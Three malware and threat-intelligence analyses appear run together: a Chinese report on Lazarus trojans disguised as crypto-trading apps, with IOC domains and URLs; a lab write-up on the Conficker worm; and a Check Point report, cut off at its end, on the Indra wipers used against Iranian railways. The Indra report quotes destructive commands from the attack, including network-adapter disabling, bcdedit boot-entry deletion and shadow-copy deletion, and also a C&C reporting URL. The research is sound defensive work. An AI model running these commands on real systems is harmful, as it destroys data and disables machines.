# 钱包黑洞:Lazarus 组织近期在加密货币方面的隐蔽攻击活动 ## 概述 Lazarus 组织是一个长期活跃的 APT 组织,因为 2014 年攻击索尼影业而开始受到广泛关注。该组织早期主要针对韩国、日本、美国等国家的政府机构进行攻击活动,以窃取情报等信息为目的。自 2014 年后,该组织开始将全球金融机构、加密交易机构等为目标,进行敛财活动。 今年 7 月,我们发布了一篇《泡菜的味道:Lazarus 组织在 MacOS 平台上的攻击活动分析》,揭露了 Lazarus 组织在 2019 下半年至 2020 上半年在加密货币方面的攻击活动。近期,通过对该组织的持续监控,微步情报局通过威胁狩猎系统捕获到 Lazarus 组织在加密货币方面近期使用的样本,包含 Windows 和 MacOS 平台的版本,与之前的样本有显著变化。近期攻击活动使用的攻击样本对加密货币的用户有针对性,而且更加隐蔽,不易被发现。 1. Lazarus 组织在加密货币方面的攻击活动持续活跃,使用的样本在不断演化中。 2. Lazarus 组织在 Windows 和 MacOS 平台上对加密货币方面的用户进行针对性的攻击,而且更加隐蔽。 3. Lazarus 组织使用失陷机器作为临时 C&C 服务器来隐藏活动痕迹。 4. 微步在线通过对相关样本、IP 和域名的溯源分析,共提取 29 条相关 IOC,可用于威胁情报检测。 Lazarus Group 是一个网络犯罪组织,至少从 2009 年以来一直活跃,据报道是 2014 年 11 月索尼影视娱乐的攻击主要主导者。它发起了一个被称为“Operation Blockbuster”的网络攻击活动。Lazarus Group 还发起了 Operation Flame、Operation 1Mission、Operation Troy、DarkSeoul 和 Ten Days of Rain 网络攻击活动。该组织早期主要针对韩国、日本、美国等国家的政府机构进行攻击活动,以窃取情报等信息为目的。自 2014 年后,该组织开始将全球金融机构、加密交易机构等为目标,进行敛财活动。尤其是 2018 年以来,Lazarus 组织在 MacOS 平台上的攻击活动日渐活跃。该组织曾于 2018 年 8 月被曝光制作加密货币交易网站“Celas LLC”,以推广交易软件为名推广恶意代码盗取密币,此后又不断被曝光使用相似手法搭建了“Worldbit-bot”、“JMT Trading”、“Union Crypto Trader”等伪装平台,用于推广 Windows 和 macOS 两种平台下带有后门的交易软件,继续对加密货币生态相关公司发起定向攻击。 微步情报局通过威胁狩猎系统捕获到 Lazarus 组织在加密货币方面近期使用的样本,包含 Windows 和 MacOS 平台的版本,与之前的样本有显著变化。近期攻击活动使用的攻击样本在运行后会检查运行环境再释放恶意代码文件,恶意代码运行后会修改配置实现自启动,之后连接 Lazarus 组织控制的失陷机器,接受攻击者的命令并进行下一阶段的攻击活动,对加密货币的用户有针对性,而且更加隐蔽,不易被发现。 本文从下列角度对 Lazarus 组织近期在加密货币方面的攻击活动进行分析: 1. 攻击过程分析 2. MacOS 平台样本详细分析 3. Windows 平台样本详细分析 4. 加密网络流量特征 5. Lazarus 在加密货币方面攻击的 TTPs(MITRE ATT&CK Framework) ## 1. 攻击过程分析 分析近期 Lazarus 组织在加密货币方面的攻击活动,Lazarus 组织依旧采用钓鱼的手法,首先制造虚假的加密货币交易网站,然后诱导用户下载含有恶意代码的加密货币交易客户端并安装运行。通过对客户端的分析,我们发现其在杀毒引擎的检出率很低,并且使用失陷网站来作为 C&C 服务器,然后再进行下一阶段的攻击活动。相比于之前的攻击活动,近期的攻击活动更有针对性,更加隐蔽,不易被发现。 以 esilet.com(Lazarus 组织制造的虚假加密货币交易网站)为例。搜索引擎的记录的关键词 blockchain technology,Top Cryptocurrencies by Market 等均与加密货币相关。esilet.com 页面上有多种加密货币交易价格等信息。该虚假加密货币交易网站的目标是用户去下载攻击者精心制造的含有恶意代码的客户端 APP。 ## 2. MacOS 平台样本分析 以样本 MD5: 53d9af8829a9c7f6f177178885901c01(MacOS 版本)为例。该样本的主程序 /MacOS/Esilet 会加载运行 /Contents/Frameworks/Esilet Helper (Renderer) 应用,释放恶意代码到 /var/folders/7d/7skpstwd7qnctfwpwp7225xw0000gn/T/Esilet-tmpg7lpp ,然后加载运行该恶意程序 Esilet-tmpg7lpp。 Esilet-tmpg7lpp 会在 /Library/LaunchDaemons/ 目录下添加配置文件,RunAtLoad 设为 true,来实现开机自启动。Esilet-tmpg7lpp 连接到攻击者控制的失陷机器获取下一步指令,目前相关链接已无正常响应。 以 sub_100002920 函数为例,该函数具备的功能是运行命令 sh -c sw_vers 来收集设备信息,然后返回给攻击者控制的失陷机器。sub_1000036A0 函数具备的功能是执行攻击者返回的 shell 命令。 ## 3. Windows 平台样本分析 样本 MD5: 40858748e03a544f6b562a687777397a(Windows 版本)是 Lazarus 组织在 Windows 平台使用的组件,在函数 iAppleCloud 中使用反射式注入手法在内存中加载自身。其使用字符串以加密形式存储,使用的时候动态解密,且使用的相关 API 也以动态获取形式使用,首先创建一个挂起的系统进程 mspaint.exe。然后将自身注入到 mspaint.exe 进程中执行。成功注入执行后,首先将自身 dll 删除。然后创建互斥体,确保只有一个木马实例运行。收集主机信息,包括系统版本、系统架构、systeminfo、杀软信息、网卡信息、磁盘信息、进程列表、CPU 信息的等等并加密。尝试循环连接 5 个 URL,将收集到的主机信息以 POST 方法发送至服务器,而这 5 个链接均为 Lazarus 组织所控制的失陷机器,目前链接已无正常响应。然后将服务器返回数据保存到指定目录下,并为其创建进程执行。 ## 4. 加密网络流量的特征 ## 5. MITRE ATT&CK Framework (Lazarus, TTPs) ## 结论 Lazarus 组织在加密货币方面的攻击虽然已被曝光多次,但是相关攻击活动依旧持续活跃。通过对该组织的持续监控,微步情报局通过威胁狩猎系统捕获到 Lazarus 组织在加密货币方面近期使用的样本,包含 Windows 和 MacOS 平台的版本,与之前的样本有显著变化,对加密货币的用户更有针对性,更加隐蔽,不易被发现。 为了保护系统免受此类威胁,用户应仅从官方和合法市场下载应用程序,不打开和安装未知来源的程序。对于此类伪装为加密货币交易平台来传播木马的攻击手法,加密货币公司及相关从业人员应该提高警惕。 ## 附录 – IOC **Hash** SHA256 - 25bed4be8c78f9728ad9b6cc86a38ee95bdf8d91e2635a0cf785bc603140163c - ec84802bb2bb33c52c1f02e7a7b74c6ea6247611c410bf386a95dc1eb45e2347 - 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 - dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 - ee72f31f961f8fb703d6613686d7ba4370dfee10e78591c506b84d087d025b77 - 917b4075b47f5e8004cc6915bb5481080ef77bb048a0139aefdf4990e5ef9c50 - 08051b859367ab3c85522dd751755ee881464afa2fd89a955c2c8aad49d1e81c - c97bce0037078a7fc7738087fd12b7052e2cdb2bfdb6e3509d0a84adea81a16e **C2** - torrytrade.com - skord.me - dorusio.com - esilet.com **URL** - https://admforte.com.br/wp-content/plugins/top.php - https://shahrtdc.com/wp-content/plugins/top.php - https://justholdfast.com/doodle/wp-content/plugins/top.php - https://infodigitalnew.com/wp-content/plugins/top.php - https://sche-eg.org/plugins/top.php - https://www.vinoymas.ch/wp-content/plugins/top.php - http://torrytrade.com/info.php?truefalsefalse - http://torrytrade.com/info.php?04 - http://drei-schneeballen.de/wp-content/plugins/nextgen-gallery/view.php - https://qwerty.creativehonduras.com/wp-includes/class-wp-redirect.php - http://www.urbankizomba.se/wp-content/plugins/photo-gallery/filemanager/upload.php - http://tag-cloud-photo.freeware.filetransit.com/login.php - http://funny-pictures.picphotos.net/saint-louis-senior-photos-senior-pictures-seniors-st-louis-st-louis/upload.php - https://www.charcuterie-a-la-ferme.com/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/images/get.php?ts=5F7912FF_D899390 - http://tipslonim.by/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/every.php?ts=5F7912B0_103BAC80 - http://nurture.com.sg/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/upgrade.php?ts=5F791207_1ABFC40 - https://australia-express.com/wp-includes/image-list.php?ts=5F79125F_1E22F78B ## 关于微步情报局 微步情报局,即微步在线研究响应团队,负责微步在线安全分析与安全服务业务,主要研究内容包括威胁情报自动化研发、高级 APT 组织 & 黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。
# Conficker **Malware File Name:** Conficker **Type:** x32 **SHA256:** a30b63e1ed900d3f223277b1d3b09b045abc85600da0d3102fa61fb2bfc2ff99 ## Intro Almost 15 years ago, a worm named Conficker caused a lot of trouble. To this day, there are some Windows environments (mainly XP-based networks) that are still infected with this piece of code (brilliant code for 2008). With millions of infections all over the world, five variations, and a lot of damage, some say this is the most remarkable worm ever made. So I took it for a ride in my lab. ## Analysis Process I first encountered that worm when I received a Disk On Key with an `autorun.inf` file and a weird file with a suspicious extension `jwgkvsq.vmx`, both of which were heavily flagged by AV engines. Any time an infected DOK was inserted into a computer, it popped up a window. This is a very nice social engineering trick; the `autorun.inf` is disguised as the explorer icon and caption (look at the duplicated explorer actions, one under "Install or run a program" - invoking the `autorun.inf`, and the other under "General options" - the benign one). Observing the `autorun.inf` file, we see a lot of unclear randomness, which is not clear if this is obfuscation or a binary. By scrolling down (to line 1227), some strings are exposed inside this sea of garbage. The first line binds the `autorun.inf` to the explorer icon. The second line executes the other file using `Rundll32.exe`, which invokes a gibberish export function (actually, this method doesn't even exist in `jwgkvsq.vmx` dll before validating the export name - `DllMain` is called). Opening `jwgkvsq.vmx` in Pestudio, the first stage is packed by UPX. For my convenience, I converted the dll to exe (the tool just changed a single bit in the PE header). Entropy is 8, so the file is still packed. We will try to unpack it later; for now, let's run the file under Procmon to get a general idea of the file operations. The file is very noisy, and many operations were seen. The file persists itself in a run key and deletes Windows Defender from the run key. It resets the TCP receive window using `Netsh.exe` (not sure exactly why, but it's part of the setup for the upcoming brute force). It probes for live hosts in the internal network by trying to connect to their SMB share. In this part, I started to debug the file under a debugger in order to unpack it. Even though this is old malware and it is fair to think that it is lacking protections, it's not true. It contains polymorphism, obfuscation, and anti-analysis tricks. After some struggling with it and at least five `VirtualAlloc`, I saw a PE file that was written to newly allocated memory. The file was in its mapped format (reference), and for some reason, I was unable to unmap it to its raw format, trying various methods. I suspect that the reason is that the PE headers were corrupted in some way. At some point, I gave up the unmapping and moved on to the very juicy strings armed with my prior knowledge of Conficker actions. First were the `autorun.inf` strings, which were written to every Disk on Key that was inserted into an infected machine. Then there is a big list of security products and related names, which will be compared against each DNS lookup the host makes, and if the DNS request contains any of these words, the request will be blocked! That is done by hooking the DNS library in every process. It also has the ability to retrieve the external IP address of the machine by querying each of those sites. ## Spreading The worm spreads itself by three mechanisms: 1. By brute forcing SMB shares using the password list. When it guesses the right password, it writes the payload to the remote share and runs it by creating a remote service. 2. By infecting DOKs and removable drives. 3. By exploiting ms08-067, which is heavily exploited by it. For that, the worm creates a local HTTP server on the infected machine, which serves the payload for any host that is successfully exploited. ## More Capabilities Not Discussed 1. The worm contains a DGA algorithm. 2. The worm changes TCP settings, like the allowed current TCP connections, in order to optimize the brute force process. 3. The worm shuts down system services like Windows Defender and Background Intelligent Transfer Service to disrupt automatic updates and protections. 4. The worm injects itself into system services like `Explorer.exe` and `Svchost.exe`. 5. The worm deletes the System Restore Points. 6. The worm contains anti-analysis, anti-sandbox, and anti-VM capabilities, along with a lot of obfuscation and "spaghetti code". ## Conclusion Conficker is a sophisticated, contagious, brutal, and noisy Windows worm. In this write-up, I discussed only a small part of Conficker's whole story; there is a comprehensive article about it as well. Hope you enjoyed!
# Indra — Hackers Behind Recent Attacks on Iran ## Introduction These days, when we think of nation-state level damage, we immediately think of the nation-state level actor that must be responsible for it. While most attacks against a nation’s sensitive networks are indeed the work of other governments, the truth is that there is no magic shield that prevents a non-state sponsored entity from creating the same kind of havoc and harming critical infrastructure in order to make a statement. In this piece, we present an analysis of a successful politically motivated attack on Iranian infrastructure that is suspected to be carried out by a non-state sponsored actor. This specific attack happened to be directed at Iran, but it could as easily have happened in New York or Berlin. We’ll look at some of the technical details and expose the actor behind the attack — thereby linking it to several other politically motivated attacks from earlier years. ## Key Findings On July 9th and 10th, 2021, Iranian Railways and the Ministry of Roads and Urban Development systems became the subject of targeted cyber attacks. Check Point Research investigated these attacks and found multiple evidence that these attacks heavily rely on the attacker’s previous knowledge and reconnaissance of the targeted networks. The attacks on Iran were found to be tactically and technically similar to previous activity against multiple private companies in Syria, which was carried out at least since 2019. We were able to tie this activity to a threat group that identifies itself as a regime opposition group, named Indra. During these years, the attackers developed and deployed within victims’ networks at least three different versions of the wiper dubbed Meteor, Stardust, and Comet. Judging by the quality of the tools, their modus operandi, and their presence on social media, we find it unlikely that Indra is operated by a nation-state actor. A technical analysis of the tools, as well as the TTPs used by the underlying actor, are thoroughly described in this article. We share with the public Yara rules and a full list of indicators of compromise. On Friday, July 9th, Iran’s railway infrastructure came under cyber-attack. According to Iranian news reports, hackers displayed messages about train delays or cancellations on information boards at stations across the country and urged passengers to call a certain phone number for further information. This number apparently belongs to the office of the country’s supreme leader, Ayatollah Ali Khamenei. “Long delays due to cyber attacks. More information: 64411” message containing the Supreme Leader office number displayed on Iran’s railways’ stations boards. The very next day, July 10th, websites of Iran’s Ministry of Roads and Urbanization reportedly went out of service after another “cyber-disruption.” Iranian social media spread the photos of a monitor of one of the hacked computers, where the attackers took responsibility for both consecutive attacks. “We attacked the computer systems of the Railway Company and the Ministry of Roads and Urban Development.” The message left by attackers on hacked machines. A few days later, Iranian cybersecurity company Amnpardaz Software published a short technical analysis of a piece of malware supposedly related to these attacks, dubbed Trojan.Win32.BreakWin. Based on the information published, Check Point Research Team retrieved the files from publicly available resources and conducted a thorough investigation of them. The findings shared in this report were reviewed and evaluated by journalists and fellow researchers from other security vendors. During this time, SentinelOne released a report based on Amnpardaz’s analysis. In this article, we first analyze the artifacts left by these attacks. Based on this analysis, we uncover a set of similar tools previously used in other operations during 2019-2020: carried against multiple targets in Syria, they did not attract much public attention at the time. We then share some insights into the tactics, techniques, and procedures (TTPs) of the underlying actor, which self-identifies as “Indra” and, according to some Iranian sources, may have ties to hacktivist or cybercriminal groups. ## Hunting for the files from the Iranian hack With Amnpardaz’s threat database as our starting point, we searched for files with similar names and functionality. The search led us to dozens of files, all uploaded from the same two sources located in Iran. Even though we weren’t able to find all the mentioned artifacts, we recovered most of the execution flow as described in Amnpardaz’s report. The execution flow is heavily based on multiple layers of archives and Batch scripts. When detonated, they: - Attempt to evade anti-virus detection - Destroy the boot configuration data - Run the final payloads that aim to lock and completely wipe the computers in the network. The execution starts with pushing a scheduled task from the AD to all the machines via group policy. The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool. The subsequent chain of .bat files and archives is intended to perform the following operations: - **Filter the target machines:** setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY, or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. PIS in the hostnames stands for Passenger Information System, which is usually responsible among others for updating the platform boards with actual data, so attackers made sure their message to the Iranian public will be displayed properly. - **Download the malicious files onto the machine:** the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. - **Extract and run additional tools:** update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat, and bcd.bat. - **Disconnect the machine from all networks:** the cache.bat script disables all the network adapters on the machine with the following command: powershell -Command "Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }" > NUL - **Perform Anti-AV checks:** the same cache.bat script also checks if Kaspersky Antivirus is installed on the machine and if not, it adds all the files and folders related to the attack to the Windows Defender exclusion list and proceeds with the execution. - **Corrupt the boot:** bcd.bat is used in order to harm the boot process. First, it tries to override the boot file with new content and then deletes the different boot identifiers using Windows built-in BCDEdit tool: for /F "tokens=2" %%j in ('%comspec% /c "bcdedit -v | findstr identifier"') do bcdedit /delete %%j /f - **Remove all the traces:** the same bcd.bat in addition to boot override also removes Security, System and Application Event Viewer logs from the system using wevtutil. - **Unleash the main payload:** The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00. ## Analysis of the main payload — The Wiper The main payload of the attack is an executable named msapp.exe, and its purpose is to take the victim machine out of service by locking it and wiping its contents. Upon execution, the malware hides this executable’s console window to decrease the suspicion of vigilant victims. ### Wiper configuration file The wiper will refuse to function unless it is provided a path to an encrypted configuration file msconf.conf as a command-line argument. The configuration file allows some degree of flexibility during the execution of the payload and gives the attacker the ability to tailor the attack to specific victims and systems. A helper script to decrypt the configuration file is available in Appendix C. ### Supported Configuration Fields - auto_logon_path - log_file_path - cleanup_scheduled_task_name - log_server_ip - cleanup_script_path - log_server_port - is_alive_loop_interval - paths_to_wipe - locker_background_image_jpg_path - process_termination_timeout - locker_background_image_bmp_path - processes_to_kill - locker_exe_path - self_scheduled_task_name - locker_installer_path - state_encryption_key - locker_password_hash - state_path - locker_registry_settings_files - users_password - log_encryption_key - wiping_stage_logger_interval Not all these fields were actually used in the configuration file of the wiper targeting the Iranian networks, which might suggest that the tool was not created specifically for this attack (or otherwise, that its design fell victim to premature optimization). If the configuration is parsed successfully, the program writes the string "Meteor has started." to an encrypted log file, suggesting that the internal name of the malware is “Meteor.” As we will see later on in this article, another name was used in previous attacks. Throughout the entire execution of the malware, it keeps logging its actions to this same encrypted log file. These detailed debug logs make it easier to analyze the malicious binary and understand its workflow. Appendix C contains a helper script to decrypt the log file. ### Configuration steps The malware next sets out to prevent the victim from stopping the ongoing infection. First, the machine is removed from the Active Directory domain by using WinAPI or WMI. This makes it harder to remotely push any remediation tools to the infected machines. Next, the malware proceeds to corrupt the computer’s boot configuration: in versions of Windows prior to Windows 7, the malware overrides the c:\boot.ini file; in Windows 7 and above, it deletes the BCD entries. Finally, the malware changes the password of the local users. In the files analyzed, all the passwords chosen by the actor have the same pattern: Aa153![random sequence], for example Aa153!rHrrdOvpCj or Aa153!IRro3d2JYm. When all the above is said and done, the user will not recover access to their machine easily. At this stage, the malware disables the Windows screen saver, then changes both the desktop wallpaper and the lock screen images to a custom image. These are the pair of identical JPEG and BMP images presenting the logo of Iran’s Railways and the message similar to the one displayed on the platform boards of different railway stations in Iran: “Long delays due to cyber attacks. More information: 64411” message on the desktop wallpaper set up by the malware. Something about this “long delays due to cyber attacks” message just tickles our fancy and betrays a somewhat surrealistic sense of humor on the attackers’ part. They could have written anything, but they chose that. With the above done, the malware logs off all users and executes a small program — a “locker” — in a new thread. The path to the locker file named mssetup.exe is retrieved from the configuration. mssetup.exe will prevent the user from interacting with the machine by blocking inputs from the keyboard and mouse devices. Finally, before moving to its main cause — wiping the system — the malware creates a scheduled task that assures its own persistence in the system. The scheduled task will be executed every time the system starts. As an aside, there is an extra step that didn’t take place in this specific attack; the malware is supposed to terminate all processes named in a processes_to_kill list specified in the configuration file. As it happens, the configurations used in the attacks against the Iranian targets did not contain this list, and so no processes were terminated. We will later show configuration files from previous attacks that did indeed use this feature. ### Wiper functionality Internally, this part is called "Prefix Suffix wiper." As its name suggests, the malware gets a list of prefixes and suffixes from the configuration file and wipes the files that are matched by this rule. Another string in the malware — "Middle Wiper" — was probably used by this malware in the past in order to wipe the files that contain some unique substrings. The wiping procedure itself is pretty simple. First, the malware goes over the files and directories from the paths_to_wipe config, fills them with zero-bytes instead of their real content, and then deletes them. After the wiping procedure, the malware tries to delete the shadow copies by running the following commands: vssadmin.exe delete shadows /all /quiet and C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete. Finally, the malware enters an infinite loop where it sleeps based on the is_alive_loop_interval value from the configuration file and writes "Meteor is still alive." to the log in every iteration. If all this rings familiar to you, it should; it’s all straight out from the ransomware playbook — except this isn’t ransomware, which requires delicate orchestration of public-key and private-key cryptography to make the machine ultimately recoverable; this is Nuke-it-From-Orbit-ware. It’s a one-way trip. ## Connecting the files to the recent attacks against Iranian targets Our analysis of the files aligns with the analysis conducted by Amnpardaz. The flow of the attack is almost identical; the files have similar structure, the same names and the same functionality. With that said, there are still some differences. For example, the update.bat script that we analyzed is not used by the earlier variants, which instead execute nti.exe — an MBR infector based on the one used by NotPetya. Another example is a slight difference between the configuration shown in the Amnpardaz report and the configuration that we analyzed. The minor differences are in the paths_to_wipe key. Some of the files we’ve found contain artifacts that tie them to the attack against Iran Railways. One of them is the image the attackers used when replacing the victim’s wallpaper and lock screen image. As we mentioned before, the text that is shown is identical to the text the attackers displayed on the train stations. Other pieces in the files we analyzed contain names and other artifacts from Iran Railways’ internal network, including computer names and internal Active Directory object names. For example, the envxp.bat file delivered a payload using a shared directory under the \\railways.ir machine: ```batch @echo off SET dirPath=c:\Documents and Settings\All Users\Application Data\Microsoft\Sounds SET cabRemotePath="\\railways.ir\sysvol\railways.ir\scripts\env.cab" SET cabLocalPath="%dirPath%\env.cab" ``` This can suggest that the attackers had access to the system prior to unleashing the wiper. An article by the IRNA also mentions that experts who analyzed the attacks believe that they took place at least one month before being identified. ## Attacks Against Companies in Syria ### Hunting for more files Equipped with the information gathered so far, we went for a hunt to find more samples. Specifically, to find whether the attack on the Iranian targets was the first time that the attackers utilized these tools. Our queries quickly yielded results — files that were uploaded to Virus Total by three different submitters located in Syria. The files seemed to belong to three separate incidents and were uploaded to VT in January, February, and April 2020, more than a year before the recent attacks against the entities in Iran. The main payloads appear to be the early versions of the Meteor wiper that was used against the targets in Iran. Similar to Meteor, they also contain multiple debug strings, which disclose the internal name of these versions of the wiper — Stardust and Comet. Out of these two versions, Comet is the older one, compiled back in September 2019. While we have the complete execution flow of the two attacks that utilized Stardust, we only have a partial view of the one where Comet was used. For this reason, we will focus more on the execution chain of Stardust. Unlike the recent attacks where the Batch files were used during early infection stages, these Stardust executions are based on multiple VBS scripts. What’s more, these scripts contain valuable information — the identities of the attacks’ targets. The execution flows of both attacks leveled at Syria in which Stardust was deployed are very similar and thus they will be described together. The initial payload that runs on the victim’s machine appears to be a VBS script resolve.vbs that extracts a password-protected RAR archive to the working folder C:\\Program Files\\Windows NT\\Accessories\\. This RAR contains another RAR file and three other VBS files. Then, the resolve.vbs script runs the extracted scripts in the following order: 1. The first script iterates over the installed programs and checks if Kaspersky Antivirus is installed. If so, it tries to uninstall it using hardcoded domain credentials. 2. The second script starts by checking if Kaspersky’s avp.exe process is running, and if so it tries to remove the Kaspersky license. 3. The last script extracts the second-stage RAR archive and runs an executable file that the archive contains. This stage is the earlier mentioned Stardust variant of the wiper. During the execution of these scripts, several requests are made to a server in order to trace the different steps of the execution. These are GET requests to a URL with the following pattern, where C&C IP is different between the attacks. ``` https://<C&C IP>/progress.php?hn=&dt=&st=&rs= ``` where: - hn = the Host Name - dt = the Current Date and Time - st = the Current Step - rs = the Kaspersky AV running information ## Evolution of a Wiper The wiper was the final payload used in all four incidents. The different names — Meteor, Stardust, or Comet, depending on the version — weren’t the only difference between the variants. During the evolution of three generations, the attackers introduced several changes in the tool, some are more significant than others. Key changes between the different variants of the wiper are explained below. Comet is the earliest variant we have, and it might as well be the first to be created. Unlike Stardust and Meteor, it does reference and make use of all the strings and features inside it. The others contained the artifacts, while the code itself did not utilize them. Comet has a Kill Switch based on values from the config file including the server IP, port, URL path, and a number of requests to perform before aborting. It tries to connect to the server and if it doesn’t get a response, or the response status is not 200 OK it aborts. In addition, the oldest variant creates a user as an Administrator using NetUserAdd and NetLocalGroupAddMembers APIs. Then it disables the first logon animation, as well as the first logon Privacy Settings screen. Finally, it adds itself to the auto logon based on a path it has in its configuration. Unlike Meteor, Stardust and Comet do not override the boot.ini file during their attempts to corrupt the boot configuration. This feature, only relevant for Windows versions prior to Windows 7, only exists in the Meteor version. The earliest version, Comet, does not contain the ability to corrupt boot configurations at all. The content Meteor writes to boot.ini. Stardust and Comet use “Lock My PC 4,” a tool that restricts unauthorized use which used to be publicly available. After running the Lock My PC program, they remove the “hkSm” registry value to delete the generated lock password, then delete the uninstaller of the tool to make it harder to recover system functionality. This functionality is not used in Meteor, even though it has related artifacts. The configuration files used in the attacks against the Syrian targets utilized more fields than the configurations that were used against the Iranian targets. These fields include process_to_kill, paths_to_wipe, log_server_ip, and log_server_port. Their content sheds light on the targets of these operations and indicates that the attacker had access to the targeted networks prior to deploying the final attack. The log_server_ip and log_server_port configuration fields are used by the Stardust wiper to send a Base64-encoded log file to the remote server. The request is sent via HTTP POST to the data.html resource on the server. The configs that we obtained contain different values for the servers, disclosing two IP addresses that were used by the attackers. ## Who are the targets? Multiple artifacts that were inspected during the analysis of these two Stardust operations in Syria point to the targeted companies — Katerji Group and its related company Arfada Petroleum — both located in Syria. First, the names of these companies appear in the VBS files as the parameters for the commands they executed to disable the Kaspersky AV. Another indication is the paths listed under the paths_to_wipe field in both configurations. These paths contain a list of user names, including the domain administrators of these two companies. ```json "paths_to_wipe": [ "c:\\Users\\administrator.ARFADA\\Desktop", "c:\\Users\\administrator.ARFADA\\Documents", ... ] "paths_to_wipe": [ "c:\\Users\\administrator.KATERJIGROUP\\Desktop", "c:\\Users\\administrator.KATERJIGROUP\\Documents", ... ] ``` ## Meet Indra Our scrutiny revealed not only the attacks’ targets, but also the identity of the group behind these operations — a group that calls itself “Indra” after the Hindu God of War. In fact, Indra did not try to hide that they are responsible for these operations and left their signature in multiple places. The image that was displayed by the attackers on the victims’ locked computers announces “I am Indra” and takes responsibility for the attacks on Katerji group. Indra takes responsibility for the attack in which it deployed “Comet.” In addition, all samples of the wiper but Meteor, contain multiple occurrences of the string “INDRA.” It is used by the Comet variant as the username of a newly created Administrator account. On Stardust though, it serves as an inert artifact and is not involved in execution. We wondered whether this Indra attack group has any online presence, and in fact, they do. They operate multiple social network accounts on different platforms, including Twitter, Facebook, Telegram, and Youtube. Among other information, the accounts contain the disclosure of the attacks on the aforementioned companies. Surveying this social network activity, one can get an idea of the group’s political ideology and motive for the attack, and even hear about some of the group’s previous operations. The title of INDRA’s official Twitter account states that they are “aiming to bring a stop to the horrors of QF and its murderous proxies in the region” and they claim to be very focused on attacking different companies who allegedly cooperate with the Iranian regime, especially with the Quds-Force and Hezbollah. Their posts are all written in English or Arabic (both don’t seem to be their native language), and most talk about opposing terror or offer document leaks from the various different companies that fell victim to the group’s attacks due to suspected ties to the Iranian Quads Force. In their first message, posted September 2019, INDRA claims to have carried out a successful attack against the company Alfadelex, demolished their network, and leaked the customers’ and employees’ data. One of the pictures that were posted by Indra from the hack against Alfadelex shows a webcam photo of a person sitting in front of a computer as they were watching the image we found used by Comet on their screen (one can only imagine how they felt at that moment). Another image, displayed on Alfadelex’s website, has the same background as the other images we found used in the attacks against Alfadelex, Katerji, and Arfada. This background image also appears as the cover photo of Indra’s Twitter and Facebook accounts. ## Previous Indra Operations Summing up the social network activity of Indra, the actors claim to be responsible for the following attacks: - September 2019: an attack against Alfadelex Trading, a currency exchange and money transfer services company located in Syria. - January 2020: an attack against Cham Wings Airlines, a Syrian-based private airline company. - February 2020 and April 2020: seizure of Afrada’s and Katerji Group’s network infrastructure. Both companies are situated in Syria as well. - November 2020: Indra threatens to attack the Syrian Banias Oil refinery, though it is not clear whether the threat was carried out. Around November 2020, all of Indra’s accounts fell silent. We weren’t able to find evidence of any additional operations until this latest one. ## Connecting Indra to the Attacks on Iranian Targets The series of attacks on Syrian targets in 2019 and 2020 bears multiple similarities to the campaigns against the Iranian networks. These are similarities in the tools, the Tactics, Techniques, and Procedures (TTP), as well as in the highly targeted nature of the attack, and they make us believe that Indra is also responsible for the recent attacks in Iran. - The attacks are all directed against Iranian-related targets, whether it is Iran Railways and Iran’s Ministry of Roads in 2021, or Katerji, Arfada, Alfadelex, and other Syrian companies targeted in 2020 and 2019. Indra’s tweets and posts make it clear that they are targeting entities that they believe have ties with Iran. - The multi-layered execution flow in all the attacks we analyzed — including the recent attacks against Iranian targets — uses script files and archive files as their means of delivery. The scripts themselves, although they are of different file types, had almost the same functionality. - Execution flow relies on previous access and recon info about the targeted network. In case of Iranian intrusion, the attackers knew exactly which machines they need to leave unaffected in order to deliver their message publicly; furthermore, they had access to the railway’s Active Directory server which they used to distribute the malicious files. Another indication for the reconnaissance done by Indra is the screenshot they took from Alfadelex’s Web Camera, showing the office with an infected PC. - The wiper is the final payload deployed on the computers of the victims in all the aforementioned attacks. Meteor, Stardust, and Comet are different versions of the same payload, and we do not have an indication that this tool was ever used by other threat actors. - The actor behind the attacks we analyzed did not try to keep their attack a secret. They shared messages and displayed pictures announcing the attacks. In the attacks against the Iranian targets, these messages were displayed not only on affected computers but also on the platform boards. Unlike their previous operations, Indra did not publicly take responsibility for the attacks in Iran. This might be explained by the seriousness of the new attacks, as well as their impact. While the attacks we inspected in Syria were carried against private companies, the attacks against Iran Railways and the Ministry of Roads and Urbanization targeted official Iranian entities. Moreover, the attacks in Syria received little media attention, whereas the attacks against the Iranian government were covered extensively all over the world and reportedly caused the Iranians some amount of grief. ## Conclusion By carrying out an analysis of this latest attack against Iran, we were able to reveal its convoluted execution flow as well as two additional variants of the final ‘wiper’ component. These tools, in turn, were used previously in attacks against Syrian companies, for which the threat actor Indra took responsibility officially on their social media accounts. While Indra chose not to take responsibility for this latest attack against Iran, the similarities above betray the connection. There are two lessons to be learned from this incident. First, anonymity is a one-way street. Once you sacrifice it to reap PR and obtain some sweet likes on Twitter, it is not so easily recovered. You can stop broadcasting your actions to the entire world and you might think that you’ve gone under the radar, but The Internet Remembers, and given enough motivation, it will deanonymize you, even if you’re a badass hacktivist threat actor. Second, we should be more worried about attacks that are entirely possible but “clearly aren’t going to happen” according to the calculus of prevailing common wisdom. With all the trouble caused by cybercrime, hacktivism, nation-state meddling and so forth, the extent and sophistication of attacks in general is still a fraction of its complete potential; oftentimes, threat actors don’t do X, Y, Z even though they perfectly well could, and we come to rely on this truancy like it were a law of nature. Cases like this, where said threat actors go ahead and do X, Y, Z, ought to 